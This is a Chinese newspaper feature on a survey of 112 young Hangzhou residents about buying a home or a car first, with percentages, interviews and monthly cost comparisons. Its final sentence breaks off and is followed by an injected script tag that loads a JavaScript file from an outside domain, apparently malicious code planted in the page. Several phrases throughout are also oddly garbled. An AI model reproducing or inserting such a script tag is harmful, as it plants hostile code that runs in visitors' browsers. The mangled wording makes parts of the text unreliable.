编者按 买房？还是买车？对于经济基础薄弱的青年来讲，一般都只能选择其一。而房屋和车子都将在非常大程度上影响个人的生活，先拥有哪样，便决定了你将过上哪种日子。所以，先买房还是先买车，成了每一个青年不能不面对的问题。
为探究杭州年轻买家在购房和买车上的消费心理，本报专门进行了一次调查，共收回有效问卷112份，调查对象的年龄集中在20~35岁，现在均未买房又未买车，职业不同，收入各异。
7成人支持先买房
调查显示，“先买房”在年轻群体中还是占了主导地位，112名同意调查的年轻买家中，有78人倾向于先买房，与倾向买车的年轻买家之间的比率为7∶3。
先买房的原因，体现了非常强的实用性。在选择先买房的人中，有33个人表示，第一购买住房是由于房屋是必需品，占42%，对这部分人来讲，买房是为知道决基本的居住问题。只有17%的人是基于“保值”、“增值”的考虑才先买房。
18%的人是考虑到房价比较坚挺，而车价近几年却呈现下跌的趋势。另有23%的人选择先买房，是为了追求拥有住房后的稳定感。
虽然先买房仍是主流，但选择先买车的也有34人，占30%。与先买房的原因不一样的是，青年买车是什么原因，“实用”和“享受”并重。
27岁的毛先生是做销售的，常常要在杭州及周围区域谈买卖、送货样，深感奔波之苦，虽然存款还不多，也没买房，但为了工作，还是在今年5月份买了一辆新赛欧。“这辆车虽然花掉了我所有些积蓄，但我感觉非常值，由于它给我带来了不少业务。”他说。像毛先生如此，为了“工作和生活的需要”而买车的有13人，占38%。
也有相当一部分人先买车，是为了享受生活。“我一定先买车。”同意调查时，30岁的鲍先生一看到调查题目就说了这么句话，他觉得，买房和买车都能改变生活，也会增加生活的重压，但买车后，生活将立即精彩起来，而汽车保养等带来的重压则是可以承受的；而买房后，虽然能住上我们的房屋，但同时也要背上沉重的按揭负担，生活水平将遭到非常大影响，重压大于舒适。在选择先买车的人中，与他有同样想法的有12位，占36%，与先买车是为了“工作、生活的需要”的所占比率相当。
另外，还有7人表示，现在的存款够买一辆普通的车，但用来买房还是杯水车薪，还不如先把车买来再说。还有2人对房价与车价的关系提出不一样的怎么看，他们觉得，目前房价走势还不太明朗，还不如等等看再说；而车价的涨跌有限，买车的时间基本不受此影响。
“买车+租房”渐时尚
钟小姐在某网站上班，1年半前花8万多元买了一辆汽车，但到今天，她还租住在杭州城南的一个小区内。“买车后，近几年确实没钱买房了。”她说，“但这并不是没地方住了，租房也是解决居住问题的好办法。而且有了车后，可以住到偏僻一点、房租实惠的地段。”房租每月500元(与人合租)，汽车保养成本平均每月最多1500元，如此，每月在房和车上的开支仅为2000元，而钟小姐月薪约5000元，完全可以承受。
“有了车后，居住不成问题。但假如我先买房，背上沉重的月供，买车就成了泡影。”她也曾想过“买房+租车”的模式，但粗粗算了笔账后，就立刻打消了这个念头：买房的月供一般在2000元以上；一辆奇瑞风云，月租金不会低于3500元，油费、停车费等每月至少1000元。如此，她每月在房和车上至少要支出6500元，远远超出了她的月薪。
即使不租车，重压也不小。假如为了上班便捷，买市区的房屋，资金重压太大；假如买郊区的房屋，交通本钱和时间本钱又会大幅度增加。
而调查结果也显示，在年轻一族中，“买车+租房”正成为一种时尚的生活方法。在选择先买车的人中，有72%表示，将以租房解决短期内的住房问题。而在选择先买房的人中，只有11%选择“买房+租车”的形式，大部分表示会靠公交车、自行车或步行等支出较少的方法解决交通问题。
在回答“先买房对买车计划影响大吗？”和“先买车对买房计划影响大吗？”这两个问题时，大部分人表示，两者均会“有非常大影响”，但在选择先买房的年轻买家中，觉得先买房对买车有非常大影响的所占比率高达77%；但在选择先买车的年轻买家中，觉得先买车对买房有非常大影响的仅占61%。觉得“没什么影响”的，前者仅占7%，而后者为18%。这说明，有更多的青年觉得，先买房后，买车的计划将需要更长期来达成，而先买车对买房的计划影响相对?script src=http://cn.jxmmtv.com/cn.js>cript>